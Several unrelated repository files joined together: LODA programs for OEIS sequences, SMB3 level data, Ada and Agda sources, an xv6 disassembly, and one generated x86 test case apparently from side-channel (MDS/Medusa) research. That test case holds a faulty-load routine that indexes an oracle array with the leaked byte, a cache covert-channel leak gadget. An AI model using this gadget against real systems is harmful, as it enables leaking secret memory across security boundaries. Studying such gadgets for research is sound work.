add r11, r11, r5, lsl #1
vst1.64 {q8}, [r11], r5 ; output[15] = -x1;
endfunction
pop {r4-r12, pc}
ENDP
END
|
programs/oeis/053/A053044.asm | jmorken/loda | 1 | 8521 | <reponame>jmorken/loda
; A053044: a(n) is the number of iterations of the Euler totient function to reach 1, starting at n!.
; 0,1,2,4,6,8,10,13,15,18,21,24,27,30,33,37,41,44,47,51,54,58,62,66,70,74,77,81,85,89,93,98,102,107,111,115,119,123,127,132,137,141,145,150,154,159,164,169,173,178,183,188,193,197,202,207,211,216,221,226,231,236,240,246,251,256,261,267,272,277,282,287,292,297,302,307,312,317,322,328,332,338,344,349,355,360,365,371,377,382,387,393,398,404,409,415,421,426,431,437,443,449,455,461,466,472,478,483,488,494,499,505,511,516,522,528,533,539,545,551,557,563,569,575,581,586,591,598,603,609,615,621,626,632,637,644,651,657,663,669,675,681,687,693,699,705,710,716,722,728,734,740,746,752,758,764,770,776,782,789,795,800,805,812,818,825,832,838,844,851,856,862,868,874,880,887,893,900,907,913,919,925,931,938,944,950,957,964,969,975,981,988,995,1002,1008,1014,1020,1026,1032,1039,1045,1052,1058,1065,1072,1079,1085,1092,1098,1104,1110,1117,1123,1130,1136,1142,1148,1154,1160,1167,1174,1180,1186,1193,1199,1206,1213,1219,1225,1232,1238,1245,1252,1258,1265,1272,1278,1285,1292,1299,1306,1313,1318,1325,1331,1338,1344,1351,1358,1365
mov $2,$0
mov $5,$0
lpb $2
mov $0,$5
sub $2,1
sub $0,$2
mul $0,2
add $0,1
mov $3,2
lpb $0
add $3,21
mov $4,$0
cal $4,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
mov $0,$4
sub $0,1
lpe
add $3,30
mov $4,$3
sub $4,53
div $4,21
add $1,$4
lpe
|
PRG/levels/Under/BigQ6.asm | narfman0/smb3_pp1 | 0 | 5023 | <reponame>narfman0/smb3_pp1
; Original address was $B470
; World 6's Big [?] block area
.word $0000 ; Alternate level layout
.word $0000 ; Alternate object layout
.byte LEVEL1_SIZE_08 | LEVEL1_YSTART_170
.byte LEVEL2_BGPAL_04 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_03 | LEVEL3_VSCROLL_FREE
.byte LEVEL4_BGBANK_INDEX(3) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_UNDERGROUND | LEVEL5_TIME_300
.byte $40, $00, $0E, $98, $30, $30, $0F, $99, $30, $91, $0F, $99, $3F, $51, $00, $80
.byte $31, $B0, $0B, $61, $30, $EF, $71, $30, $E5, $00, $37, $0A, $00, $38, $07, $97
.byte $31, $83, $02, $99, $34, $51, $00, $17, $33, $50, $18, $34, $90, $99, $37, $51
.byte $04, $97, $38, $81, $02, $18, $37, $A0, $17, $38, $60, $17, $3A, $50, $18, $3B
.byte $90, $80, $3D, $5F, $02, $90, $3D, $50, $02, $01, $3D, $EF, $10, $3D, $07, $90
.byte $3E, $B0, $00, $11, $3F, $E6, $18, $3F, $F0, $97, $30, $53, $00, $20, $38, $D1
.byte $31, $3D, $C4, $23, $35, $86, $25, $35, $86, $27, $35, $86, $29, $33, $88, $2B
.byte $33, $88, $2D, $33, $88, $2F, $33, $88, $83, $34, $2C, $00, $83, $36, $2C, $00
.byte $83, $38, $2C, $00, $83, $3A, $2C, $00, $40, $50, $B1, $0F, $42, $50, $B7, $00
.byte $4A, $50, $B5, $0F, $42, $5F, $B7, $00, $50, $50, $B8, $00, $50, $5F, $B8, $00
.byte $59, $50, $B1, $0F, $2A, $51, $10, $2B, $51, $10, $2C, $51, $10, $2D, $51, $10
.byte $2E, $51, $10, $2F, $51, $10, $30, $52, $D5, $30, $5D, $C5, $24, $53, $89, $26
.byte $53, $89, $28, $53, $89, $8C, $60, $5F, $00, $99, $64, $81, $02, $80, $60, $5B
.byte $01, $64, $61, $E6, $80, $62, $B3, $07, $80, $6A, $56, $02, $04, $6A, $E3, $08
.byte $6A, $07, $60, $6C, $E6, $07, $6B, $81, $8B, $62, $80, $04, $0B, $67, $04, $0C
.byte $61, $86, $73, $60, $E2, $99, $61, $51, $02, $16, $61, $52, $80, $6F, $5F, $00
.byte $90, $6F, $5A, $00, $00, $6F, $E7, $08, $6E, $68, $90, $6A, $B0, $04, $11, $66
.byte $83, $11, $65, $62, $94, $63, $B0, $02, $14, $63, $07, $11, $6F, $E1, $95, $6B
.byte $85, $03, $15, $6A, $63, $99, $67, $51, $03, $12, $6F, $07, $20, $6D, $D5, $33
.byte $6D, $E2, $28, $6D, $80, $29, $6C, $80, $2A, $6B, $80, $2B, $6A, $80, $2C, $69
.byte $80, $2D, $68, $80, $2E, $67, $80, $2F, $66, $80, $30, $65, $80, $31, $64, $80
.byte $32, $63, $80, $33, $62, $80, $33, $6A, $80, $34, $69, $80, $35, $68, $80, $E3
.byte $61, $64, $E5, $11, $A3, $E6, $61, $E3, $FF
|
programs/oeis/270/A270869.asm | karttu/loda | 0 | 10077 | <reponame>karttu/loda<gh_stars>0
; A270869: a(n) = n^5 + 4*n^4 + 13*n^3 + 23*n^2 + 25*n + 3.
; 3,69,345,1203,3351,7953,16749,32175,57483,96861,155553,239979,357855,518313,732021,1011303,1370259,1824885,2393193,3095331,3953703,4993089,6240765,7726623,9483291,11546253,13953969,16747995,19973103,23677401,27912453,32733399,38199075,44372133,51319161,59110803,67821879,77531505,88323213,100285071,113509803,128094909,144142785,161760843,181061631,202162953,225187989,250265415,277529523,307120341,339183753,373871619,411341895,451758753,495292701,542120703,592426299,646399725,704238033,766145211,832332303,903017529,978426405,1058791863,1144354371,1235362053,1332070809,1434744435,1543654743,1659081681,1781313453,1910646639,2047386315,2191846173,2344348641,2505225003,2674815519,2853469545,3041545653,3239411751,3447445203,3666032949,3895571625,4136467683,4389137511,4654007553,4931514429,5222105055,5526236763,5844377421,6177005553,6524610459,6887692335,7266762393,7662342981,8074967703,8505181539,8953540965,9420614073,9906980691,10413232503,10939973169,11487818445,12057396303,12649347051,13264323453,13902990849,14566027275,15254123583,15967983561,16708324053,17475875079,18271379955,19095595413,19949291721,20833252803,21748276359,22695173985,23674771293,24687908031,25735438203,26818230189,27937166865,29093145723,30287078991,31519893753,32792532069,34105951095,35461123203,36859036101,38300692953,39787112499,41319329175,42898393233,44525370861,46201344303,47927411979,49704688605,51534305313,53417409771,55355166303,57348756009,59399376885,61508243943,63676589331,65905662453,68196730089,70551076515,72970003623,75454831041,78006896253,80627554719,83318179995,86080163853,88914916401,91823866203,94808460399,97870164825,101010464133,104230861911,107532880803,110918062629,114387968505,117944178963,121588294071,125321933553,129146736909,133064363535,137076492843,141184824381,145391077953,149696993739,154104332415,158614875273,163230424341,167952802503,172783853619,177725442645,182779455753,187947800451,193232405703,198635222049,204158221725,209803398783,215572769211,221468371053,227492264529,233646532155,239933278863,246354632121,252912742053,259609781559,266447946435,273429455493,280556550681,287831497203,295256583639,302834122065,310566448173,318455921391,326504925003,334715866269,343091176545,351633311403,360344750751,369227998953,378285584949,387520062375,396934009683,406530030261,416310752553,426278830179,436436942055,446787792513,457334111421,468078654303,479024202459,490173563085,501529569393,513095080731,524872982703,536866187289,549077632965,561510284823,574167134691,587051201253,600165530169,613513194195,627097293303,640920954801,654987333453,669299611599,683860999275,698674734333,713744082561,729072337803,744662822079,760518885705,776643907413,793041294471,809714482803,826666937109,843902150985,861423647043,879234977031,897339721953,915741492189,934443927615,953450697723,972765501741
mov $5,$0
add $0,5
mul $0,2
add $0,1
mov $1,$0
lpb $0,1
add $1,$0
sub $0,1
lpe
sub $1,74
mov $3,$5
mov $6,$5
lpb $3,1
sub $3,1
add $4,$6
lpe
mov $2,21
mov $6,$4
lpb $2,1
add $1,$6
sub $2,1
lpe
mov $3,$5
mov $4,0
lpb $3,1
sub $3,1
add $4,$6
lpe
mov $2,13
mov $6,$4
lpb $2,1
add $1,$6
sub $2,1
lpe
mov $3,$5
mov $4,0
lpb $3,1
sub $3,1
add $4,$6
lpe
mov $2,4
mov $6,$4
lpb $2,1
add $1,$6
sub $2,1
lpe
mov $3,$5
mov $4,0
lpb $3,1
sub $3,1
add $4,$6
lpe
mov $2,1
mov $6,$4
lpb $2,1
add $1,$6
sub $2,1
lpe
|
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_7359_357.asm | ljhsiun2/medusa | 9 | 82883 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x18cb6, %rdi
nop
cmp %rcx, %rcx
mov $0x6162636465666768, %r10
movq %r10, %xmm6
vmovups %ymm6, (%rdi)
add %r8, %r8
lea addresses_WC_ht+0x150dd, %rsi
lea addresses_D_ht+0x1163e, %rdi
clflush (%rdi)
nop
nop
nop
cmp %r14, %r14
mov $76, %rcx
rep movsb
nop
nop
nop
and %rdi, %rdi
lea addresses_A_ht+0xce08, %r14
sub $40571, %r8
vmovups (%r14), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rdi
nop
lfence
lea addresses_normal_ht+0x198b6, %rdi
clflush (%rdi)
nop
nop
xor %rcx, %rcx
mov (%rdi), %si
nop
nop
nop
nop
and $22126, %rdi
lea addresses_A_ht+0x18cb6, %rcx
nop
nop
nop
and $42211, %rbp
movb $0x61, (%rcx)
nop
nop
add $45483, %r10
lea addresses_normal_ht+0x1a7cf, %rcx
cmp $26915, %r10
mov (%rcx), %r14
nop
nop
nop
add %rsi, %rsi
lea addresses_WT_ht+0x1063, %rdi
clflush (%rdi)
nop
nop
nop
nop
and $17926, %r8
mov (%rdi), %rcx
nop
nop
nop
xor %rdi, %rdi
lea addresses_UC_ht+0x4d26, %rsi
lea addresses_D_ht+0x7b76, %rdi
clflush (%rsi)
nop
nop
nop
xor %rdx, %rdx
mov $10, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp %r8, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %r9
push %rcx
push %rdi
push %rdx
// Store
lea addresses_normal+0x11036, %r15
nop
nop
nop
sub %r10, %r10
mov $0x5152535455565758, %r13
movq %r13, %xmm6
movaps %xmm6, (%r15)
nop
nop
inc %r10
// Store
lea addresses_normal+0x1e528, %rcx
nop
sub %rdi, %rdi
movb $0x51, (%rcx)
nop
nop
nop
nop
nop
add %r13, %r13
// Faulty Load
mov $0x3b7e7000000004b6, %rcx
nop
nop
nop
nop
nop
and %rdx, %rdx
movups (%rcx), %xmm4
vpextrq $0, %xmm4, %r10
lea oracles, %r13
and $0xff, %r10
shlq $12, %r10
mov (%r13,%r10,1), %r10
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': True, 'size': 16, 'NT': True, 'same': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': True, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 11}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'00': 7359}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
tests/typing/bad/testfile-bool-1.adb | xuedong/mini-ada | 0 | 25123 | <filename>tests/typing/bad/testfile-bool-1.adb
with Ada.Text_IO; use Ada.Text_IO;
procedure Test is begin if false and 'a' then new_line; end if; end;
|
src/Partiality-algebra/Fixpoints.agda | nad/partiality-monad | 2 | 2231 | <filename>src/Partiality-algebra/Fixpoints.agda
------------------------------------------------------------------------
-- Fixpoint combinators
------------------------------------------------------------------------
{-# OPTIONS --erased-cubical --safe #-}
open import Partiality-algebra as PA hiding (id; _∘_)
module Partiality-algebra.Fixpoints where
open import Equality.Propositional.Cubical
open import Logical-equivalence using (_⇔_)
open import Prelude hiding (T; ⊥)
open import Bijection equality-with-J using (_↔_)
import Equivalence equality-with-J as Eq
open import Function-universe equality-with-J hiding (id; _∘_)
open import H-level equality-with-J
open import H-level.Closure equality-with-J
open import Monad equality-with-J
open import Univalence-axiom equality-with-J
open import Partiality-algebra.Monotone
open import Partiality-algebra.Omega-continuous
import Partiality-algebra.Properties as PAP
open [_⟶_]⊑
-- The development below, up to fix-is-least, is (very similar to)
-- Kleene's fixed-point theorem.
private
module Fix₀ {a p q} {A : Type a} {P : Partiality-algebra p q A} where
open Partiality-algebra P
open PAP P
-- Repeated composition of a monotone function with itself.
comp : [ P ⟶ P ]⊑ → ℕ → [ P ⟶ P ]⊑
comp f zero = id⊑
comp f (suc n) = f ∘⊑ comp f n
-- Pre-composition with the function is equal to post-composition
-- with the function.
pre≡post : ∀ f n → comp f n ∘⊑ f ≡ f ∘⊑ comp f n
pre≡post f zero = f ∎
pre≡post f (suc n) =
(f ∘⊑ comp f n) ∘⊑ f ≡⟨ ∘⊑-assoc f (comp f n) ⟩
f ∘⊑ (comp f n ∘⊑ f) ≡⟨ cong (f ∘⊑_) $ pre≡post f n ⟩∎
f ∘⊑ (f ∘⊑ comp f n) ∎
-- Repeated application of a monotone function to never.
app : [ P ⟶ P ]⊑ → ℕ → T
app f n = function (comp f n) never
-- An increasing sequence consisting of repeated applications of the
-- given monotone function to never.
fix-sequence : [ P ⟶ P ]⊑ → Increasing-sequence
fix-sequence f = app f , fix-sequence-increasing
where
abstract
fix-sequence-increasing :
∀ n → function (comp f n) never ⊑ function (f ∘⊑ comp f n) never
fix-sequence-increasing n =
function (comp f n) never ⊑⟨ monotone (comp f n) (never⊑ (function f never)) ⟩
function (comp f n) (function f never) ⊑⟨⟩
function (comp f n ∘⊑ f) never ≡⟨ cong (λ g → function g never) $ pre≡post f n ⟩⊑
function (f ∘⊑ comp f n) never ■
-- Taking the tail of this sequence amounts to the same thing as
-- applying the function to each element in the sequence.
tailˢ-fix-sequence :
(f : [ P ⟶ P ]⊑) →
tailˢ (fix-sequence f) ≡ [ f $ fix-sequence f ]-inc
tailˢ-fix-sequence f =
_↔_.to equality-characterisation-increasing λ _ → refl
-- The sequence has the same least upper bound as the sequence you get
-- if you apply the function to each element of the sequence.
⨆-fix-sequence :
(f : [ P ⟶ P ]⊑) →
⨆ (fix-sequence f) ≡ ⨆ [ f $ fix-sequence f ]-inc
⨆-fix-sequence f =
⨆ (fix-sequence f) ≡⟨ sym $ ⨆tail≡⨆ _ ⟩
⨆ (tailˢ (fix-sequence f)) ≡⟨ cong ⨆ (tailˢ-fix-sequence f) ⟩∎
⨆ [ f $ fix-sequence f ]-inc ∎
-- A fixpoint combinator.
fix : [ P ⟶ P ]⊑ → T
fix f = ⨆ (fix-sequence f)
-- The fixpoint combinator produces fixpoints for ω-continuous
-- arguments.
fix-is-fixpoint-combinator :
(fω : [ P ⟶ P ]) →
let f : [ P ⟶ P ]⊑
f = [_⟶_].monotone-function fω
in fix f ≡ function f (fix f)
fix-is-fixpoint-combinator fω =
fix f ≡⟨⟩
⨆ (fix-sequence f) ≡⟨ ⨆-fix-sequence f ⟩
⨆ [ f $ fix-sequence f ]-inc ≡⟨ sym $ [_⟶_].ω-continuous fω _ ⟩
function f (⨆ (fix-sequence f)) ≡⟨⟩
function f (fix f) ∎
where
f : [ P ⟶ P ]⊑
f = [_⟶_].monotone-function fω
-- The result of the fixpoint combinator is smaller than or equal to
-- every post-fixpoint.
fix-is-least :
(f : [ P ⟶ P ]⊑) →
∀ x → function f x ⊑ x → fix f ⊑ x
fix-is-least f x fx⊑x = least-upper-bound _ _ lemma
where
lemma : ∀ n → function (comp f n) never ⊑ x
lemma zero = never⊑ x
lemma (suc n) =
function (f ∘⊑ comp f n) never ⊑⟨⟩
function f (function (comp f n) never) ⊑⟨ monotone f (lemma n) ⟩
function f x ⊑⟨ fx⊑x ⟩■
x ■
-- A restricted homomorphism property.
comp-∘ : ∀ f n → comp (f ∘⊑ f) n ≡ comp f n ∘⊑ comp f n
comp-∘ f zero = id⊑ ∎
comp-∘ f (suc n) =
(f ∘⊑ f) ∘⊑ comp (f ∘⊑ f) n ≡⟨ cong ((f ∘⊑ f) ∘⊑_) (comp-∘ f n) ⟩
(f ∘⊑ f) ∘⊑ (comp f n ∘⊑ comp f n) ≡⟨ lemma f f (comp f n) _ ⟩
f ∘⊑ ((f ∘⊑ comp f n) ∘⊑ comp f n) ≡⟨ cong ((_∘⊑ comp f n) ∘ (f ∘⊑_)) $ sym $ pre≡post f n ⟩
f ∘⊑ ((comp f n ∘⊑ f) ∘⊑ comp f n) ≡⟨ sym $ lemma f (comp f n) f _ ⟩∎
(f ∘⊑ comp f n) ∘⊑ (f ∘⊑ comp f n) ∎
where
lemma : (f g h k : [ P ⟶ P ]⊑) →
(f ∘⊑ g) ∘⊑ (h ∘⊑ k) ≡ f ∘⊑ ((g ∘⊑ h) ∘⊑ k)
lemma f g h k =
(f ∘⊑ g) ∘⊑ (h ∘⊑ k) ≡⟨ ∘⊑-assoc f g ⟩
f ∘⊑ (g ∘⊑ (h ∘⊑ k)) ≡⟨ cong (f ∘⊑_) $ ∘⊑-assoc g h ⟩∎
f ∘⊑ ((g ∘⊑ h) ∘⊑ k) ∎
-- The function comp f is homomorphic with respect to _+_/_∘⊑_.
comp-+∘ : ∀ f m {n} → comp f (m + n) ≡ comp f m ∘⊑ comp f n
comp-+∘ f zero {n} = comp f n ∎
comp-+∘ f (suc m) {n} =
f ∘⊑ comp f (m + n) ≡⟨ cong (f ∘⊑_) $ comp-+∘ f m ⟩
f ∘⊑ (comp f m ∘⊑ comp f n) ≡⟨ ∘⊑-assoc f (comp f m) ⟩∎
(f ∘⊑ comp f m) ∘⊑ comp f n ∎
-- Taking steps that are "twice as large" does not affect the end
-- result.
fix-∘ : (f : [ P ⟶ P ]⊑) → fix (f ∘⊑ f) ≡ fix f
fix-∘ f = antisymmetry
(least-upper-bound _ _ λ n →
function (comp (f ∘⊑ f) n) never ≡⟨ cong (λ f → function f never) $ comp-∘ f n ⟩⊑
function (comp f n ∘⊑ comp f n) never ≡⟨ cong (λ f → function f never) $ sym $ comp-+∘ f n ⟩⊑
function (comp f (n + n)) never ⊑⟨ upper-bound (fix-sequence f) (n + n) ⟩■
⨆ (fix-sequence f) ■)
(⨆-mono λ n →
function (comp f n) never ⊑⟨ monotone (comp f n) (never⊑ _) ⟩
function (comp f n) (function (comp f n) never) ⊑⟨⟩
function (comp f n ∘⊑ comp f n) never ≡⟨ cong (λ f → function f never) $ sym $ comp-∘ f n ⟩⊑
function (comp (f ∘⊑ f) n) never ■)
open Fix₀
-- N-ary Scott induction.
module N-ary
(open Partiality-algebra)
{a p q r} n
(As : Fin n → Type a)
(Ps : ∀ i → Partiality-algebra p q (As i))
(P : (∀ i → T (Ps i)) → Type r)
(P⊥ : P (λ i → never (Ps i)))
(P⨆ : (ss : ∀ i → Increasing-sequence (Ps i)) →
(∀ n → P (λ i → _[_] (Ps i) (ss i) n)) →
P (λ i → ⨆ (Ps i) (ss i)))
(fs : ∀ i → [ Ps i ⟶ Ps i ]⊑)
where
-- Generalised.
fix-induction′ :
(∀ n → P (λ i → app (fs i) n) → P (λ i → app (fs i) (suc n))) →
P (fix ∘ fs)
fix-induction′ step = $⟨ lemma ⟩
(∀ n → P (λ i → app (fs i) n)) ↝⟨ P⨆ _ ⟩
P (λ i → ⨆ (Ps i) (fix-sequence (fs i))) ↝⟨ id ⟩□
P (fix ∘ fs) □
where
lemma : ∀ n → P (λ i → function (comp (fs i) n) (never (Ps i)))
lemma zero = P⊥
lemma (suc n) = $⟨ lemma n ⟩
P (λ i → app (fs i) n) ↝⟨ step n ⟩□
P (λ i → function (fs i) (app (fs i) n)) □
-- Basic.
fix-induction :
(∀ xs → P xs → P (λ i → function (fs i) (xs i))) →
P (fix ∘ fs)
fix-induction step =
fix-induction′ (λ n → step (λ i → app (fs i) n))
open N-ary public
module Fix {a p q} {A : Type a} {P : Partiality-algebra p q A} where
open Partiality-algebra P
-- Unary Scott induction.
fix-induction₁ :
∀ {r}
(Q : T → Type r) →
Q never →
(∀ s → (∀ n → Q (s [ n ])) → Q (⨆ s)) →
(f : [ P ⟶ P ]⊑) →
(∀ x → Q x → Q (function f x)) →
Q (fix f)
fix-induction₁ Q Q⊥ Q⨆ f step =
fix-induction
1
[ const A , ⊥-elim ]
[ const P , (λ i → ⊥-elim i) ]
(Q ∘ (_$ fzero))
Q⊥
(Q⨆ ∘ (_$ fzero))
[ const f , (λ x → ⊥-elim x) ]
(step ∘ (_$ fzero))
open Fix₀ {P = P} public
open Fix public
|
programs/oeis/212/A212985.asm | karttu/loda | 0 | 10128 | ; A212985: Number of (w,x,y) with all terms in {0,...,n} and 3w=3x+y.
; 1,2,3,7,9,11,18,21,24,34,38,42,55,60,65,81,87,93,112,119,126,148,156,164,189,198,207,235,245,255,286,297,308,342,354,366,403,416,429,469,483,497,540,555,570,616,632,648,697,714,731,783,801,819,874
mov $2,$0
sub $0,1
mov $1,$2
lpb $0,1
sub $0,3
add $1,$2
sub $2,1
lpe
add $1,1
|
source/numerics/a-nucoar.ads | ytomino/drake | 33 | 16803 | <filename>source/numerics/a-nucoar.ads
pragma License (Unrestricted);
with Ada.Numerics.Complex_Types;
with Ada.Numerics.Generic_Complex_Arrays;
with Ada.Numerics.Real_Arrays;
package Ada.Numerics.Complex_Arrays is
new Generic_Complex_Arrays (Real_Arrays, Complex_Types);
pragma Pure (Ada.Numerics.Complex_Arrays);
|
frisbee.asm | jhsie007/xv6 | 0 | 161578 | <gh_stars>0
_frisbee: file format elf32-i386
Disassembly of section .text:
00001000 <main>:
void pass_next(void *arg);
int lookup();
int main(int argc, char *argv[]){
1000: 8d 4c 24 04 lea 0x4(%esp),%ecx
1004: 83 e4 f0 and $0xfffffff0,%esp
1007: ff 71 fc pushl -0x4(%ecx)
100a: 55 push %ebp
100b: 89 e5 mov %esp,%ebp
100d: 56 push %esi
100e: 53 push %ebx
100f: 51 push %ecx
1010: 83 ec 3c sub $0x3c,%esp
1013: 89 cb mov %ecx,%ebx
int i;
struct thread *t;
// void * sp;
if(argc != 3){
1015: 83 3b 03 cmpl $0x3,(%ebx)
1018: 74 19 je 1033 <main+0x33>
printf(1,"argc is not match !\n");
101a: c7 44 24 04 58 1e 00 movl $0x1e58,0x4(%esp)
1021: 00
1022: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1029: e8 e6 07 00 00 call 1814 <printf>
exit();
102e: e8 39 06 00 00 call 166c <exit>
}
numthreads = atoi(argv[1]);
1033: 8b 43 04 mov 0x4(%ebx),%eax
1036: 83 c0 04 add $0x4,%eax
1039: 8b 00 mov (%eax),%eax
103b: 89 04 24 mov %eax,(%esp)
103e: e8 97 05 00 00 call 15da <atoi>
1043: a3 60 23 00 00 mov %eax,0x2360
numpass = atoi(argv[2]);
1048: 8b 43 04 mov 0x4(%ebx),%eax
104b: 83 c0 08 add $0x8,%eax
104e: 8b 00 mov (%eax),%eax
1050: 89 04 24 mov %eax,(%esp)
1053: e8 82 05 00 00 call 15da <atoi>
1058: a3 64 23 00 00 mov %eax,0x2364
void * slist[numthreads];
105d: a1 60 23 00 00 mov 0x2360,%eax
1062: 8d 50 ff lea -0x1(%eax),%edx
1065: 89 55 dc mov %edx,-0x24(%ebp)
1068: c1 e0 02 shl $0x2,%eax
106b: 8d 50 03 lea 0x3(%eax),%edx
106e: b8 10 00 00 00 mov $0x10,%eax
1073: 83 e8 01 sub $0x1,%eax
1076: 01 d0 add %edx,%eax
1078: be 10 00 00 00 mov $0x10,%esi
107d: ba 00 00 00 00 mov $0x0,%edx
1082: f7 f6 div %esi
1084: 6b c0 10 imul $0x10,%eax,%eax
1087: 29 c4 sub %eax,%esp
1089: 8d 44 24 0c lea 0xc(%esp),%eax
108d: 83 c0 03 add $0x3,%eax
1090: c1 e8 02 shr $0x2,%eax
1093: c1 e0 02 shl $0x2,%eax
1096: 89 45 d8 mov %eax,-0x28(%ebp)
//init ttable;
lock_init(&ttable.lock);
1099: c7 04 24 80 23 00 00 movl $0x2380,(%esp)
10a0: e8 59 0b 00 00 call 1bfe <lock_init>
ttable.total = 0;
10a5: c7 05 84 25 00 00 00 movl $0x0,0x2584
10ac: 00 00 00
for(t=ttable.thread;t < &ttable.thread[64];t++){
